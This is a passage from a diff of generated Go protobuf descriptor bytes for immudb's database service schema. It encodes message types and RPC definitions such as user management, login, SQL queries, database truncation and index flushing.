0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, - 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, - 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, - 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, - 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, - 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, - 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, - 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, - 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, - 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, + 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, + 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, + 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, + 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, - 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, - 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, - 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, - 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, - 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, - 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, - 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, - 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, - 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, - 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, - 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, - 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, 0x0a, - 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, - 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, - 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, 0x16, - 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, - 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, - 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, - 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, - 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, - 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, - 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, - 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, - 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, - 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, - 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, - 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, - 0x01, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, - 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, + 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, + 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, + 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, + 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x22, 0xa3, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, + 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 